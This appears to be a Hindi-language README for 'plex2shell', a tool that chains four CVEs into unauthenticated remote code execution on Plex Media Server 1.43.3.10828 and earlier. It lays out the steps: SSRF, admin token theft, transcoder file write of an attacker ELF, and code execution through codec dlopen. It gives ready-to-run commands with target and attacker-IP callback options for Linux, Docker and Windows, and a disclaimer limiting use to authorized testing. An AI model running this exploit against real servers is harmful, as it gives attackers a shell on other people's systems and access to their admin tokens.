
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Plex Media Server 1.43.3.10828 और उससे पुराने संस्करणों के लिए अनधिप्रमाणित RCE श्रृंखला।
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
विस्तृत विवरण: https://zmain.info/blog/plex2shell
यह टूल केवल अधिकृत सुरक्षा परीक्षण, शैक्षणिक अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रकाशित किया गया है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। इस टूल के दुरुपयोग या इससे होने वाली क्षति के लिए लेखक उत्तरदायी नहीं हैं। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।
| CVE | प्राथमिक विधि |
|---|---|
| CVE-2026-96652 | /player/timeline protocol= के माध्यम से अनधिप्रमाणित SSRF |
| CVE-2026-96654 | लूपबैक पिवट: निष्क्रिय प्रमाणीकरण गार्ड + searchOne identifier= इंजेक्शन |
| CVE-2026-96655 | स्वामी-प्रमाणित ट्रांसकोडर SSRF + मनमाना-पथ फ़ाइल लेखन (dump-yuv) |
| CVE-2026-96656 | Codecs सेट-डिर में अहस्ताक्षरित कोडेक dlopen के माध्यम से कोड निष्पादन |
[खुला इंटरनेट, बेकार टोकन]
|
(1) /player/timeline --- SSRF ---> लूपबैक ओरिजिन
|
(2) /system/agents/.../searchOne --- identifier= इंजेक्शन --->
| क्रॉस-प्लगइन RPC
|
(3) networking.py:149 --- 127.0.0.1.* प्रीफ़िक्स भ्रम --->
| स्वामी एडमिन टोकन चोरी
v
हमलावर के पास स्वामी (OWNER) एडमिन टोकन है
|
(4) /video/:/transcode/universal?path=<url> --- ट्रांसकोडर SSRF --->
| हमलावर का मीडिया प्राप्त करें
|
(5) TranscoderH264Options=dump-yuv --- x264 हमलावर का ELF लिखता है
| Codecs सेट-डिर में
v
दूसरा ट्रांसकोड -> हर *.so को dlopen() करता है -> कंस्ट्रक्टर चलता है
v
[uid=1000(plex)]
पेलोड एक लॉसलेस (qp=0) कैरियर के फ़्रेम-0 लूमा का है जिसे
ffmpeg, gcc (या Windows लक्ष्यों के लिए x86_64-w64-mingw32-gcc)# Linux नेटिव (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# एक-बार में:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
बाकी सब कुछ के लिए --help देखें।
GPLv3